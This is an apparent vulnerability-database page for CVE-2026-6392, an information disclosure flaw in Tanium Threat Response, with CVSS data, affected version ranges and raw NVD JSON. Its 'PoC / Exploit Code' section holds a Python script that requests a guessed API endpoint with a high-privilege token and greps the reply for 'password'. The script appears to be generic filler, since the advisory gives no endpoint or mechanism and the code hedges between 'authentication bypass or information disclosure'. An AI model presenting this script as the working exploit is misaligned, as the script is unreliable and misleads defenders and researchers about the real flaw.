Security Vulnerability Report
中文
CVE-2026-6392 CVSS 2.7 LOW

CVE-2026-6392

Published: 2026-04-22 03:16:01
Last Modified: 2026-05-11 20:25:58
Source: 3938794e-25f5-4123-a1ba-5cbd7f104512

Description

Tanium addressed an information disclosure vulnerability in Threat Response.

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:tanium:threat_response:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:tanium:threat_response:*:*:*:*:*:*:*:* - VULNERABLE
Tanium Threat Response (修复前版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Proof of Concept for CVE-2026-6392 # This script demonstrates a potential authentication bypass or information disclosure scenario. # Note: High privileges (PR:H) are required to exploit this vulnerability. target_url = "https://<target-host>/api/v2/endpoint_data" # Simulating an authenticated high-privilege session auth_token = "<HIGH_PRIVILEGE_TOKEN_OR_COOKIE>" headers = { "Authorization": f"Bearer {auth_token}", "User-Agent": "CVE-2026-6392-Scanner/1.0", "Accept": "application/json" } try: response = requests.get(target_url, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[+] Request successful. Checking for sensitive data disclosure...") # Analyze response for leaked keys, configs, or user data if "sensitive_key" in response.text or "password" in response.text: print("[!] Potential Information Disclosure detected in response.") else: print("[-] No obvious leakage detected in this endpoint.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6392", "sourceIdentifier": "3938794e-25f5-4123-a1ba-5cbd7f104512", "published": "2026-04-22T03:16:01.420", "lastModified": "2026-05-11T20:25:57.757", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tanium addressed an information disclosure vulnerability in Threat Response."}], "metrics": {"cvssMetricV31": [{"source": "3938794e-25f5-4123-a1ba-5cbd7f104512", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "3938794e-25f5-4123-a1ba-5cbd7f104512", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tanium:threat_response:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndExcluding": "4.6.577", "matchCriteriaId": "6B672109-48E9-4766-BA61-00A86FBDC114"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tanium:threat_response:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.9.0", "versionEndExcluding": "4.9.379", "matchCriteriaId": "6C2C498D-E8E0-445E-B4C5-F07274D414DB"}]}]}], "references": [{"url": "https://security.tanium.com/TAN-2026-011", "source": "3938794e-25f5-4123-a1ba-5cbd7f104512", "tags": ["Vendor Advisory"]}]}}